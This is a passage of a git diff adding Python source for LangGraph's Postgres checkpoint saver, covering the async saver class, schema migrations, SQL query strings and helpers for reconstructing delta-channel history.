get_serializable_checkpoint_metadata, +) +from langgraph.checkpoint.serde.base import SerializerProtocol +from langgraph.checkpoint.serde.types import _DeltaSnapshot +from psycopg import AsyncConnection, AsyncCursor, AsyncPipeline, Capabilities +from psycopg.rows import DictRow, dict_row +from psycopg.types.json import Jsonb +from psycopg_pool import AsyncConnectionPool + +from langgraph.checkpoint.postgres import _ainternal +from langgraph.checkpoint.postgres.base import ( + _DELTA_PAGE_SIZE, + BasePostgresSaver, + _build_delta_stage1_sql, + _build_delta_stage2_sql, + _DeltaStage2Row, +) +from langgraph.checkpoint.postgres.shallow import AsyncShallowPostgresSaver + +Conn = _ainternal.Conn # For backward compatibility + + +class AsyncPostgresSaver(BasePostgresSaver): + """Asynchronous checkpointer that stores checkpoints in a Postgres database.""" + + lock: asyncio.Lock + + def __init__( + self, + conn: _ainternal.Conn, + pipe: AsyncPipeline | None = None, + serde: SerializerProtocol | None = None, + ) -> None: + super().__init__(serde=serde) + if isinstance(conn, AsyncConnectionPool) and pipe is not None: + raise ValueError( + "Pipeline should be used only with a single AsyncConnection, not AsyncConnectionPool." + ) + + self.conn = conn + self.pipe = pipe + self.lock = asyncio.Lock() + self.loop = asyncio.get_running_loop() + self.supports_pipeline = Capabilities().has_pipeline() + + @classmethod + @asynccontextmanager + async def from_conn_string( + cls, + conn_string: str, + *, + pipeline: bool = False, + serde: SerializerProtocol | None = None, + ) -> AsyncIterator[AsyncPostgresSaver]: + """Create a new AsyncPostgresSaver instance from a connection string. + + Args: + conn_string: The Postgres connection info string. + pipeline: whether to use AsyncPipeline + + Returns: + AsyncPostgresSaver: A new AsyncPostgresSaver instance. + """ + async with await AsyncConnection.connect( + conn_string, autocommit=True, prepare_threshold=0, row_factory=dict_row + ) as conn: + if pipeline: + async with conn.pipeline() as pipe: + yield cls(conn=conn, pipe=pipe, serde=serde) + else: + yield cls(conn=conn, serde=serde) + + async def setup(self) -> None: + """Set up the checkpoint database asynchronously. + + This method creates the necessary tables in the Postgres database if they don't + already exist and runs database migrations. It MUST be called directly by the user + the first time checkpointer is used. + """ + async with self._cursor() as cur: + await cur.execute(self.MIGRATIONS[0]) + results = await cur.execute( + "SELECT v FROM checkpoint_migrations ORDER BY v DESC LIMIT 1" + ) + row = await results.fetchone() + if row is None: + version = -1 + else: + version = row["v"] + for v, migration in zip( + range(version + 1, len(self.MIGRATIONS)), + self.MIGRATIONS[version + 1 :], + strict=False, + ): + await cur.execute(migration) + await cur.execute( + "INSERT INTO checkpoint_migrations (v) VALUES (%s)", (v,) + ) + if self.pipe: + await self.pipe.sync() + + async def alist( + self, + config: RunnableConfig | None, + *, + filter: dict[str, Any] | None = None, + before: RunnableConfig | None = None, + limit: int | None = None, + ) -> AsyncIterator[CheckpointTuple]: + """List checkpoints from the database asynchronously. + + This method retrieves a list of checkpoint tuples from the Postgres database based + on the provided config. The checkpoints are ordered by checkpoint ID in descending order (newest first). + + Args: + config: Base configuration for filtering checkpoints. + filter: Additional filtering criteria for metadata. + before: If provided, only checkpoints before the specified checkpoint ID are returned. + limit: Maximum number of checkpoints to return. + + Yields: + An asynchronous iterator of matching checkpoint tuples. + """ + where, args = self._search_where(config, filter, before) + query = self.SELECT_SQL + where + " ORDER BY checkpoint_id DESC" + params = list(args) + if limit is not None: + query += " LIMIT %s" + params.append(int(limit)) + # if we change this to use .stream() we need to make sure to close the cursor + async with self._cursor() as cur: + await cur.execute(query, params, binary=True) + values = await cur.fetchall() + if not values: + return + # migrate pending sends if necessary + if to_migrate := [ + v + for v in values + if v["checkpoint"]["v"] < 4 and v["parent_checkpoint_id"] + ]: + await cur.execute( + self.SELECT_PENDING_SENDS_SQL, + ( + values[0]["thread_id"], + [v["parent_checkpoint_id"] for v in to_migrate], + ), + ) + grouped_by_parent = defaultdict(list) + for value in to_migrate: + grouped_by_parent[value["parent_checkpoint_id"]].append(value) + async for sends in cur: + for value in grouped_by_parent[sends["checkpoint_id"]]: + if value["channel_values"] is None: + value["channel_values"] = [] + self._migrate_pending_sends( + sends["sends"], + value["checkpoint"], + value["channel_values"], + ) + for value in values: + yield await self._load_checkpoint_tuple(value) + + async def aget_tuple(self, config: RunnableConfig) -> CheckpointTuple | None: + """Get a checkpoint tuple from the database asynchronously. + + This method retrieves a checkpoint tuple from the Postgres database based on the + provided config. If the config contains a `checkpoint_id` key, the checkpoint with + the matching thread ID and "checkpoint_id" is retrieved. Otherwise, the latest checkpoint + for the given thread ID is retrieved. + + Args: + config: The config to use for retrieving the checkpoint. + + Returns: + The retrieved checkpoint tuple, or None if no matching checkpoint was found. + """ + thread_id = config["configurable"]["thread_id"] + checkpoint_id = get_checkpoint_id(config) + checkpoint_ns = config["configurable"].get("checkpoint_ns", "") + if checkpoint_id: + args: tuple[Any, ...] = (thread_id, checkpoint_ns, checkpoint_id) + where = "WHERE thread_id = %s AND checkpoint_ns = %s AND checkpoint_id = %s" + else: + args = (thread_id, checkpoint_ns) + where = "WHERE thread_id = %s AND checkpoint_ns = %s ORDER BY checkpoint_id DESC LIMIT 1" + + async with self._cursor() as cur: + await cur.execute( + self.SELECT_SQL + where, + args, + binary=True, + ) + value = await cur.fetchone() + if value is None: + return None + + # migrate pending sends if necessary + if value["checkpoint"]["v"] < 4 and value["parent_checkpoint_id"]: + await cur.execute( + self.SELECT_PENDING_SENDS_SQL, + (thread_id, [value["parent_checkpoint_id"]]), + ) + if sends := await cur.fetchone(): + if value["channel_values"] is None: + value["channel_values"] = [] + self._migrate_pending_sends( + sends["sends"], + value["checkpoint"], + value["channel_values"], + ) + + return await self._load_checkpoint_tuple(value) + + async def aput( + self, + config: RunnableConfig, + checkpoint: Checkpoint, + metadata: CheckpointMetadata, + new_versions: ChannelVersions, + ) -> RunnableConfig: + """Save a checkpoint to the database asynchronously. + + This method saves a checkpoint to the Postgres database. The checkpoint is associated + with the provided config and its parent config (if any). + + Args: + config: The config to associate with the checkpoint. + checkpoint: The checkpoint to save. + metadata: Additional metadata to save with the checkpoint. + new_versions: New channel versions as of this write. + + Returns: + RunnableConfig: Updated configuration after storing the checkpoint. + """ + configurable = config["configurable"].copy() + thread_id = configurable.pop("thread_id") + checkpoint_ns = configurable.pop("checkpoint_ns") + checkpoint_id = configurable.pop("checkpoint_id", None) + + copy = checkpoint.copy() + copy["channel_values"] = copy["channel_values"].copy() + next_config = { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": checkpoint_ns, + "checkpoint_id": checkpoint["id"], + } + } + + # inline primitive values in checkpoint table + # others are stored in blobs table + blob_values = {} + for k, v in checkpoint["channel_values"].items(): + if isinstance(v, _DeltaSnapshot): + blob_values[k] = copy["channel_values"].pop(k) + copy["channel_values"][k] = True + elif v is None or isinstance(v, (str, int, float, bool)): + pass + else: + blob_values[k] = copy["channel_values"].pop(k) + + async with self._cursor(pipeline=True) as cur: + if blob_versions := { + k: v for k, v in new_versions.items() if k in blob_values + }: + await cur.executemany( + self.UPSERT_CHECKPOINT_BLOBS_SQL, + await asyncio.to_thread( + self._dump_blobs, + thread_id, + checkpoint_ns, + blob_values, + blob_versions, + ), + ) + await cur.execute( + self.UPSERT_CHECKPOINTS_SQL, + ( + thread_id, + checkpoint_ns, + checkpoint["id"], + checkpoint_id, + Jsonb(copy), + Jsonb(get_serializable_checkpoint_metadata(config, metadata)), + ), + ) + return next_config + + async def aput_writes( + self, + config: RunnableConfig, + writes: Sequence[tuple[str, Any]], + task_id: str, + task_path: str = "", + ) -> None: + """Store intermediate writes linked to a checkpoint asynchronously. + + This method saves intermediate writes associated with a checkpoint to the database. + + Args: + config: Configuration of the related checkpoint. + writes: List of writes to store, each as (channel, value) pair. + task_id: Identifier for the task creating the writes. + """ + query = ( + self.UPSERT_CHECKPOINT_WRITES_SQL + if all(w[0] in WRITES_IDX_MAP for w in writes) + else self.INSERT_CHECKPOINT_WRITES_SQL + ) + params = await asyncio.to_thread( + self._dump_writes, + config["configurable"]["thread_id"], + config["configurable"]["checkpoint_ns"], + config["configurable"]["checkpoint_id"], + task_id, + task_path, + writes, + ) + async with self._cursor(pipeline=True) as cur: + await cur.executemany(query, params) + + async def adelete_thread(self, thread_id: str) -> None: + """Delete all checkpoints and writes associated with a thread ID. + + Args: + thread_id: The thread ID to delete. + + Returns: + None + """ + async with self._cursor(pipeline=True) as cur: + await cur.execute( + "DELETE FROM checkpoints WHERE thread_id = %s", + (str(thread_id),), + ) + await cur.execute( + "DELETE FROM checkpoint_blobs WHERE thread_id = %s", + (str(thread_id),), + ) + await cur.execute( + "DELETE FROM checkpoint_writes WHERE thread_id = %s", + (str(thread_id),), + ) + + @asynccontextmanager + async def _cursor( + self, *, pipeline: bool = False + ) -> AsyncIterator[AsyncCursor[DictRow]]: + """Create a database cursor as a context manager. + + Args: + pipeline: whether to use pipeline for the DB operations inside the context manager. + Will be applied regardless of whether the AsyncPostgresSaver instance was initialized with a pipeline. + If pipeline mode is not supported, will fall back to using transaction context manager. + """ + async with self.lock, _ainternal.get_connection(self.conn) as conn: + if self.pipe: + # a connection in pipeline mode can be used concurrently + # in multiple threads/coroutines, but only one cursor can be + # used at a time + try: + async with conn.cursor(binary=True, row_factory=dict_row) as cur: + yield cur + finally: + if pipeline: + await self.pipe.sync() + elif pipeline: + # a connection not in pipeline mode can only be used by one + # thread/coroutine at a time, so we acquire a lock + if self.supports_pipeline: + async with ( + conn.pipeline(), + conn.cursor(binary=True, row_factory=dict_row) as cur, + ): + yield cur + else: + # Use connection's transaction context manager when pipeline mode not supported + async with ( + conn.transaction(), + conn.cursor(binary=True, row_factory=dict_row) as cur, + ): + yield cur + else: + async with conn.cursor(binary=True, row_factory=dict_row) as cur: + yield cur + + async def aget_delta_channel_history( + self, *, config: RunnableConfig, channels: Sequence[str] + ) -> Mapping[str, DeltaChannelHistory]: + """Fast-path override of `BaseCheckpointSaver.aget_delta_channel_history`. + + See `PostgresSaver.get_delta_channel_history` for design notes; this is + the async equivalent with internal stage-1 paging and per-channel + UNION ALL stage-2. + """ + if not channels: + return {} + channels = list(channels) + thread_id = config["configurable"]["thread_id"] + checkpoint_ns = config["configurable"].get("checkpoint_ns", "") + checkpoint_id = get_checkpoint_id(config) + if checkpoint_id is None: + target = await self.aget_tuple(config) + if target is None: + return {ch: {"writes": []} for ch in channels} + checkpoint_id = target.config["configurable"]["checkpoint_id"] + + stage1_sql = _build_delta_stage1_sql(channels, paged=True) + parent_of: dict[str, str | None] = {} + ver_by_i_by_cid: list[dict[str, str | None]] = [{} for _ in channels] + hs_by_i_by_cid: list[dict[str, bool]] = [{} for _ in channels] + chain_by_ch: dict[str, list[str]] = {ch: [] for ch in channels} + seed_ver_by_ch: dict[str, str | None] = {ch: None for ch in channels} + walk_cursor_by_ch: dict[str, str | None] = {} + seeded: set[str] = set() + cursor: str | None = None + + async with self._cursor() as cur: + while True: + stage1_params: list[Any] = [] + for ch in channels: + stage1_params.extend([ch, ch]) + stage1_params.extend( + [thread_id, checkpoint_ns, cursor, cursor, _DELTA_PAGE_SIZE] + ) + await cur.execute(stage1_sql, stage1_params) + page = await cur.fetchall() + if not page: + break + oldest = self._ingest_stage1_page( + cast("list[Mapping[str, Any]]", page), + channels, + parent_of, + ver_by_i_by_cid, + hs_by_i_by_cid, + ) + self._try_advance_walks( + checkpoint_id, + channels, + parent_of, + ver_by_i_by_cid, + hs_by_i_by_cid, + chain_by_ch, + seed_ver_by_ch, + walk_cursor_by_ch, + seeded, + ) + if len(seeded) == len(channels) or len(page) < _DELTA_PAGE_SIZE: + break + cursor = oldest + + channels_with_chain = [ch for ch in channels if chain_by_ch[ch]] + channels_with_seed = [ch for ch in channels if seed_ver_by_ch[ch] is not None] + stage2_sql = _build_delta_stage2_sql( + channels_with_chain=channels_with_chain, + channels_with_seed=channels_with_seed, + ) + + if stage2_sql: + stage2_params: list[Any] = [] + for ch in channels_with_chain: + stage2_params.extend([thread_id, checkpoint_ns, ch, chain_by_ch[ch]]) + for ch in channels_with_seed: + stage2_params.extend([thread_id, checkpoint_ns, ch, seed_ver_by_ch[ch]]) + async with self._cursor() as cur: + await cur.execute(stage2_sql, stage2_params) + stage2_rows = await cur.fetchall() + else: + stage2_rows = [] + + return self._build_delta_channels_writes_history( + channels=channels, + chain_by_ch=chain_by_ch, + seed_ver_by_ch=seed_ver_by_ch, + stage2_rows=cast("list[_DeltaStage2Row]", stage2_rows), + ) + + async def _load_checkpoint_tuple(self, value: DictRow) -> CheckpointTuple: + """ + Convert a database row into a CheckpointTuple object. + + Args: + value: A row from the database containing checkpoint data. + + Returns: + CheckpointTuple: A structured representation of the checkpoint, + including its configuration, metadata, parent checkpoint (if any), + and pending writes. + """ + return CheckpointTuple( + { + "configurable": { + "thread_id": value["thread_id"], + "checkpoint_ns": value["checkpoint_ns"], + "checkpoint_id": value["checkpoint_id"], + } + }, + { + **value["checkpoint"], + "channel_values": { + **(value["checkpoint"].get("channel_values") or {}), + **self._load_blobs(value["channel_values"]), + }, + }, + value["metadata"], + ( + { + "configurable": { + "thread_id": value["thread_id"], + "checkpoint_ns": value["checkpoint_ns"], + "checkpoint_id": value["parent_checkpoint_id"], + } + } + if value["parent_checkpoint_id"] + else None + ), + await asyncio.to_thread(self._load_writes, value["pending_writes"]), + ) + + def list( + self, + config: RunnableConfig | None, + *, + filter: dict[str, Any] | None = None, + before: RunnableConfig | None = None, + limit: int | None = None, + ) -> Iterator[CheckpointTuple]: + """List checkpoints from the database. + + This method retrieves a list of checkpoint tuples from the Postgres database based + on the provided config. The checkpoints are ordered by checkpoint ID in descending order (newest first). + + Args: + config: Base configuration for filtering checkpoints. + filter: Additional filtering criteria for metadata. + before: If provided, only checkpoints before the specified checkpoint ID are returned. + limit: Maximum number of checkpoints to return. + + Yields: + An iterator of matching checkpoint tuples. + """ + try: + # check if we are in the main thread, only bg threads can block + # we don't check in other methods to avoid the overhead + if asyncio.get_running_loop() is self.loop: + raise asyncio.InvalidStateError( + "Synchronous calls to AsyncPostgresSaver are only allowed from a " + "different thread. From the main thread, use the async interface. " + "For example, use `checkpointer.alist(...)` or `await " + "graph.ainvoke(...)`." + ) + except RuntimeError: + pass + aiter_ = self.alist(config, filter=filter, before=before, limit=limit) + while True: + try: + yield asyncio.run_coroutine_threadsafe( + anext(aiter_), # type: ignore[arg-type] # noqa: F821 + self.loop, + ).result() + except StopAsyncIteration: + break + + def get_tuple(self, config: RunnableConfig) -> CheckpointTuple | None: + """Get a checkpoint tuple from the database. + + This method retrieves a checkpoint tuple from the Postgres database based on the + provided config. If the config contains a `checkpoint_id` key, the checkpoint with + the matching thread ID and "checkpoint_id" is retrieved. Otherwise, the latest checkpoint + for the given thread ID is retrieved. + + Args: + config: The config to use for retrieving the checkpoint. + + Returns: + The retrieved checkpoint tuple, or None if no matching checkpoint was found. + """ + try: + # check if we are in the main thread, only bg threads can block + # we don't check in other methods to avoid the overhead + if asyncio.get_running_loop() is self.loop: + raise asyncio.InvalidStateError( + "Synchronous calls to AsyncPostgresSaver are only allowed from a " + "different thread. From the main thread, use the async interface. " + "For example, use `await checkpointer.aget_tuple(...)` or `await " + "graph.ainvoke(...)`." + ) + except RuntimeError: + pass + return asyncio.run_coroutine_threadsafe( + self.aget_tuple(config), self.loop + ).result() + + def put( + self, + config: RunnableConfig, + checkpoint: Checkpoint, + metadata: CheckpointMetadata, + new_versions: ChannelVersions, + ) -> RunnableConfig: + """Save a checkpoint to the database. + + This method saves a checkpoint to the Postgres database. The checkpoint is associated + with the provided config and its parent config (if any). + + Args: + config: The config to associate with the checkpoint. + checkpoint: The checkpoint to save. + metadata: Additional metadata to save with the checkpoint. + new_versions: New channel versions as of this write. + + Returns: + RunnableConfig: Updated configuration after storing the checkpoint. + """ + return asyncio.run_coroutine_threadsafe( + self.aput(config, checkpoint, metadata, new_versions), self.loop + ).result() + + def put_writes( + self, + config: RunnableConfig, + writes: Sequence[tuple[str, Any]], + task_id: str, + task_path: str = "", + ) -> None: + """Store intermediate writes linked to a checkpoint. + + This method saves intermediate writes associated with a checkpoint to the database. + + Args: + config: Configuration of the related checkpoint. + writes: List of writes to store, each as (channel, value) pair. + task_id: Identifier for the task creating the writes. + task_path: Path of the task creating the writes. + """ + return asyncio.run_coroutine_threadsafe( + self.aput_writes(config, writes, task_id, task_path), self.loop + ).result() + + def delete_thread(self, thread_id: str) -> None: + """Delete all checkpoints and writes associated with a thread ID. + + Args: + thread_id: The thread ID to delete. + + Returns: + None + """ + try: + # check if we are in the main thread, only bg threads can block + # we don't check in other methods to avoid the overhead + if asyncio.get_running_loop() is self.loop: + raise asyncio.InvalidStateError( + "Synchronous calls to AsyncPostgresSaver are only allowed from a " + "different thread. From the main thread, use the async interface. " + "For example, use `await checkpointer.aget_tuple(...)` or `await " + "graph.ainvoke(...)`." + ) + except RuntimeError: + pass + return asyncio.run_coroutine_threadsafe( + self.adelete_thread(thread_id), self.loop + ).result() + + +__all__ = ["AsyncPostgresSaver", "AsyncShallowPostgresSaver", "Conn"] diff --git a/libs/checkpoint-postgres/langgraph/checkpoint/postgres/base.py b/libs/checkpoint-postgres/langgraph/checkpoint/postgres/base.py new file mode 100644 index 0000000..beb1e99 --- /dev/null +++ b/libs/checkpoint-postgres/langgraph/checkpoint/postgres/base.py @@ -0,0 +1,596 @@ +from __future__ import annotations + +import random +import warnings +from collections.abc import Mapping, Sequence +from importlib.metadata import version as get_version +from typing import Any, TypedDict, cast + +from langchain_core.runnables import RunnableConfig +from langgraph.checkpoint.base import ( + WRITES_IDX_MAP, + BaseCheckpointSaver, + ChannelVersions, + DeltaChannelHistory, + PendingWrite, + get_checkpoint_id, +) +from langgraph.checkpoint.serde.types import TASKS +from psycopg.types.json import Jsonb + +# Page size for stage-1 paged scan in `get_delta_channel_history`. Internal +# constant — exposing this as a kwarg is left as a follow-up. +_DELTA_PAGE_SIZE = 1024 + +MetadataInput = dict[str, Any] | None + +try: + major, minor = get_version("langgraph").split(".")[:2] + if int(major) == 0 and int(minor) < 5: + warnings.warn( + "You're using incompatible versions of langgraph and checkpoint-postgres. Please upgrade langgraph to avoid unexpected behavior.", + DeprecationWarning, + stacklevel=2, + ) +except Exception: + # skip version check if running from source + pass + +""" +To add a new migration, add a new string to the MIGRATIONS list. +The position of the migration in the list is the version number. +""" +MIGRATIONS = [ + """CREATE TABLE IF NOT EXISTS checkpoint_migrations ( + v INTEGER PRIMARY KEY +);""", + """CREATE TABLE IF NOT EXISTS checkpoints ( + thread_id TEXT NOT NULL, + checkpoint_ns TEXT NOT NULL DEFAULT '', + checkpoint_id TEXT NOT NULL, + parent_checkpoint_id TEXT, + type TEXT, + checkpoint JSONB NOT NULL, + metadata JSONB NOT NULL DEFAULT '{}', + PRIMARY KEY (thread_id, checkpoint_ns, checkpoint_id) +);""", + """CREATE TABLE IF NOT EXISTS checkpoint_blobs ( + thread_id TEXT NOT NULL, + checkpoint_ns TEXT NOT NULL DEFAULT '', + channel TEXT NOT NULL, + version TEXT NOT NULL, + type TEXT NOT NULL, + blob BYTEA, + PRIMARY KEY (thread_id, checkpoint_ns, channel, version) +);""", + """CREATE TABLE IF NOT EXISTS checkpoint_writes ( + thread_id TEXT NOT NULL, + checkpoint_ns TEXT NOT NULL DEFAULT '', + checkpoint_id TEXT NOT NULL, + task_id TEXT NOT NULL, + idx INTEGER NOT NULL, + channel TEXT NOT NULL, + type TEXT, + blob BYTEA NOT NULL, + PRIMARY KEY (thread_id, checkpoint_ns, checkpoint_id, task_id, idx) +);""", + "ALTER TABLE checkpoint_blobs ALTER COLUMN blob DROP not null;", + # NOTE: this is a no-op migration to ensure that the versions in the migrations table are correct. + # This is necessary due to an empty migration previously added to the list. + "SELECT 1;", + """ + CREATE INDEX CONCURRENTLY IF NOT EXISTS checkpoints_thread_id_idx ON checkpoints(thread_id); + """, + """ + CREATE INDEX CONCURRENTLY IF NOT EXISTS checkpoint_blobs_thread_id_idx ON checkpoint_blobs(thread_id); + """, + """ + CREATE INDEX CONCURRENTLY IF NOT EXISTS checkpoint_writes_thread_id_idx ON checkpoint_writes(thread_id); + """, + """ALTER TABLE checkpoint_writes ADD COLUMN IF NOT EXISTS task_path TEXT NOT NULL DEFAULT '';""", +] + +SELECT_SQL = """ +select + thread_id, + checkpoint, + checkpoint_ns, + checkpoint_id, + parent_checkpoint_id, + metadata, + ( + select array_agg(array[bl.channel::bytea, bl.type::bytea, bl.blob]) + from jsonb_each_text(checkpoint -> 'channel_versions') + inner join checkpoint_blobs bl + on bl.thread_id = checkpoints.thread_id + and bl.checkpoint_ns = checkpoints.checkpoint_ns + and bl.channel = jsonb_each_text.key + and bl.version = jsonb_each_text.value + ) as channel_values, + ( + select + array_agg(array[cw.task_id::text::bytea, cw.channel::bytea, cw.type::bytea, cw.blob] order by cw.task_id, cw.idx) + from checkpoint_writes cw + where cw.thread_id = checkpoints.thread_id + and cw.checkpoint_ns = checkpoints.checkpoint_ns + and cw.checkpoint_id = checkpoints.checkpoint_id + ) as pending_writes +from checkpoints """ + +SELECT_PENDING_SENDS_SQL = f""" +select + checkpoint_id, + array_agg(array[type::bytea, blob] order by task_path, task_id, idx) as sends +from checkpoint_writes +where thread_id = %s + and checkpoint_id = any(%s) + and channel = '{TASKS}' +group by checkpoint_id +""" + +UPSERT_CHECKPOINT_BLOBS_SQL = """ + INSERT INTO checkpoint_blobs (thread_id, checkpoint_ns, channel, version, type, blob) + VALUES (%s, %s, %s, %s, %s, %s) + ON CONFLICT (thread_id, checkpoint_ns, channel, version) DO NOTHING +""" + +UPSERT_CHECKPOINTS_SQL = """ + INSERT INTO checkpoints (thread_id, checkpoint_ns, checkpoint_id, parent_checkpoint_id, checkpoint, metadata) + VALUES (%s, %s, %s, %s, %s, %s) + ON CONFLICT (thread_id, checkpoint_ns, checkpoint_id) + DO UPDATE SET + checkpoint = EXCLUDED.checkpoint, + metadata = EXCLUDED.metadata; +""" + +UPSERT_CHECKPOINT_WRITES_SQL = """ + INSERT INTO checkpoint_writes (thread_id, checkpoint_ns, checkpoint_id, task_id, task_path, idx, channel, type, blob) + VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s) + ON CONFLICT (thread_id, checkpoint_ns, checkpoint_id, task_id, idx) DO UPDATE SET + channel = EXCLUDED.channel, + type = EXCLUDED.type, + blob = EXCLUDED.blob; +""" + +INSERT_CHECKPOINT_WRITES_SQL = """ + INSERT INTO checkpoint_writes (thread_id, checkpoint_ns, checkpoint_id, task_id, task_path, idx, channel, type, blob) + VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s) + ON CONFLICT (thread_id, checkpoint_ns, checkpoint_id, task_id, idx) DO NOTHING +""" + + +class _DeltaStage2Row(TypedDict, total=False): + """One row from `_build_delta_stage2_sql` (a UNION ALL of writes and blobs).""" + + _kind: str # "w" or "b" + checkpoint_id: str | None # "w" rows only + channel: str | None # set on both "w" and "b" rows + type: str | None + blob: bytes | None + task_id: str | None # "w" rows only + idx: int | None # "w" rows only + version: str | None # "b" rows only + + +# Multi-channel two-stage DeltaChannel reconstruction. +# +# Stage 1 scans checkpoint metadata (no blob bytes) and emits one row per +# checkpoint with K parallel JSONB key lookups (one column pair per +# requested delta channel: ver_i / hs_i). No subqueries, no aggregation. +# Python walks the parent chain once across all channels. +# +# Stage 2 fetches all writes and the seed blobs for ALL channels in a +# single roundtrip via `channel = ANY(%s)` and chain/seed-version +# filtering. +# +# Empirical comparison vs an alternative "ship full channel_versions / +# channel_values JSONB and let Python pick" form (1000 checkpoints, +# 8 total channels in graph, 3 delta channels requested): +# +# Postgres execution: A=0.24ms vs B=0.38ms (both negligible) +# End-to-end latency: A=6.83ms vs B=2.28ms (B is 3.0x faster) +# Wire payload: A=836KB vs B=330KB (61% smaller) +# Buffer hits: identical (167 blocks) +# +# B (this dynamic-columns design) wins because it avoids JSONB +# serialization on the wire and JSONB-to-dict deserialization in +# psycopg. Even at K=8 (8 delta channels = 16 dynamic columns), B +# still beats A end-to-end (4.2ms vs 6.8ms). + + +def _build_delta_stage1_sql(channels: Sequence[str], *, paged: bool) -> str: + """Build stage 1 SQL with 2K parallel JSONB key lookups. + + For channels=["messages", "files"] (with `paged=True`) the result is:: + + SELECT checkpoint_id, parent_checkpoint_id, + checkpoint -> 'channel_versions' ->> %s AS ver_0, + (checkpoint -> 'channel_values' -> %s) IS NOT NULL AS hs_0, + checkpoint -> 'channel_versions' ->> %s AS ver_1, + (checkpoint -> 'channel_values' -> %s) IS NOT NULL AS hs_1 + FROM checkpoints + WHERE thread_id = %s AND checkpoint_ns = %s + AND (%s::text IS NULL OR checkpoint_id < %s) + ORDER BY checkpoint_id DESC + LIMIT %s + + Channel names are passed as `%s` parameters (safe from SQL injection). + Only the column aliases `ver_i` / `hs_i` are interpolated into the + SQL string (i is bounded by len(channels) and uses safe identifiers). + + Caller must extend params with `[ch_0, ch_0, ch_1, ch_1, ..., + thread_id, ns, cursor, cursor, page_size]` when `paged=True`. + + When `paged=False`, the WHERE has no cursor predicate and there's no + LIMIT/ORDER BY — kept as a non-public helper for tests/diagnostics. + """ + cols = [] + for i in range(len(channels)): + cols.append( + f"checkpoint -> 'channel_versions' ->> %s AS ver_{i}, " + f"(checkpoint -> 'channel_values' -> %s) IS NOT NULL AS hs_{i}" + ) + sql = ( + "SELECT checkpoint_id, parent_checkpoint_id, " + + ", ".join(cols) + + " FROM checkpoints WHERE thread_id = %s AND checkpoint_ns = %s" + ) + if paged: + sql += ( + " AND (%s::text IS NULL OR checkpoint_id < %s)" + " ORDER BY checkpoint_id DESC LIMIT %s" + ) + return sql + + +def _build_delta_stage2_sql( + *, + channels_with_chain: Sequence[str], + channels_with_seed: Sequence[str], +) -> str: + """Build stage 2 SQL as a per-channel UNION ALL. + + For each channel with a non-empty chain, emit one branch reading + `checkpoint_writes` for that specific channel + chain_cids. For each + channel with a seed_version, emit one branch reading `checkpoint_blobs` + for that channel + version. This avoids the over-fetch of the prior + `channel = ANY(channels) AND checkpoint_id = ANY(union)` form when + channels have different chain depths. + + The caller must pass parameters in matching order: + + for ch in channels_with_chain: + params += [thread_id, checkpoint_ns, ch, chain_cids[ch]] + for ch in channels_with_seed: + params += [thread_id, checkpoint_ns, ch, seed_version[ch]] + + Returns an empty SQL string if both channel lists are empty (caller + must skip executing in that case). + """ + branches: list[str] = [] + for _ in channels_with_chain: + branches.append( + "SELECT 'w'::text AS _kind, " + "checkpoint_id, channel, " + "type, blob, task_id, idx, NULL::text AS version " + "FROM checkpoint_writes " + "WHERE thread_id = %s AND checkpoint_ns = %s AND channel = %s " + "AND checkpoint_id = ANY(%s)" + ) + for _ in channels_with_seed: + branches.append( + "SELECT 'b'::text AS _kind, NULL::text AS checkpoint_id, channel, " + "type, blob, NULL::text AS task_id, NULL::int AS idx, version " + "FROM checkpoint_blobs " + "WHERE thread_id = %s AND checkpoint_ns = %s AND channel = %s " + "AND version = %s" + ) + return " UNION ALL ".join(branches) + + +# Stage 1 rows are dynamic-shape dicts: {checkpoint_id, parent_checkpoint_id, +# ver_0, hs_0, ver_1, hs_1, ...}. Walking is parameterized by the channel +# list to map indices back to channel names — no static TypedDict here. +# `dict[str, Any]` is the practical signature. + + +class BasePostgresSaver(BaseCheckpointSaver[str]): + SELECT_SQL = SELECT_SQL + SELECT_PENDING_SENDS_SQL = SELECT_PENDING_SENDS_SQL + MIGRATIONS = MIGRATIONS + UPSERT_CHECKPOINT_BLOBS_SQL = UPSERT_CHECKPOINT_BLOBS_SQL + UPSERT_CHECKPOINTS_SQL = UPSERT_CHECKPOINTS_SQL + UPSERT_CHECKPOINT_WRITES_SQL = UPSERT_CHECKPOINT_WRITES_SQL + INSERT_CHECKPOINT_WRITES_SQL = INSERT_CHECKPOINT_WRITES_SQL + + supports_pipeline: bool + + def _migrate_pending_sends( + self, + pending_sends: list[tuple[bytes, bytes]], + checkpoint: dict[str, Any], + channel_values: list[tuple[bytes, bytes, bytes]], + ) -> None: + if not pending_sends: + return + # add to values + enc, blob = self.serde.dumps_typed( + [self.serde.loads_typed((c.decode(), b)) for c, b in pending_sends], + ) + channel_values.append((TASKS.encode(), enc.encode(), blob)) + # add to versions + checkpoint["channel_versions"][TASKS] = ( + max(checkpoint["channel_versions"].values()) + if checkpoint["channel_versions"] + else self.get_next_version(None, None) + ) + + def _load_blobs( + self, blob_values: list[tuple[bytes, bytes, bytes]] + ) -> dict[str, Any]: + if not blob_values: + return {} + return { + k.decode(): self.serde.loads_typed((t.decode(), v)) + for k, t, v in blob_values + if t.decode() != "empty" + } + + @staticmethod + def _ingest_stage1_page( + stage1_rows: Sequence[Mapping[str, Any]], + channels: Sequence[str], + parent_of: dict[str, str | None], + ver_by_i_by_cid: list[dict[str, str | None]], + hs_by_i_by_cid: list[dict[str, bool]], + ) -> str | None: + """Fold one stage-1 page into the running walk-state mappings. + + Returns the oldest checkpoint_id seen on this page (smallest, since + pages come back DESC). Caller uses it as the cursor for the next + page (`AND checkpoint_id < cursor`). + """ + oldest: str | None = None + for r in stage1_rows: + cid = cast(str, r["checkpoint_id"]) + parent_of[cid] = cast("str | None", r["parent_checkpoint_id"]) + for i in range(len(channels)): + ver_by_i_by_cid[i][cid] = cast("str | None", r.get(f"ver_{i}")) + hs_by_i_by_cid[i][cid] = bool(r.get(f"hs_{i}")) + # Rows are DESC; the last one is the smallest cid in the page. + oldest = cid + return oldest + + @staticmethod + def _try_advance_walks( + target_id: str, + channels: Sequence[str], + parent_of: Mapping[str, str | None], + ver_by_i_by_cid: Sequence[Mapping[str, str | None]], + hs_by_i_by_cid: Sequence[Mapping[str, bool]], + chain_by_ch: dict[str, list[str]], + seed_ver_by_ch: dict[str, str | None], + walk_cursor_by_ch: dict[str, str | None], + seeded: set[str], + ) -> None: + """Advance each not-yet-seeded channel's 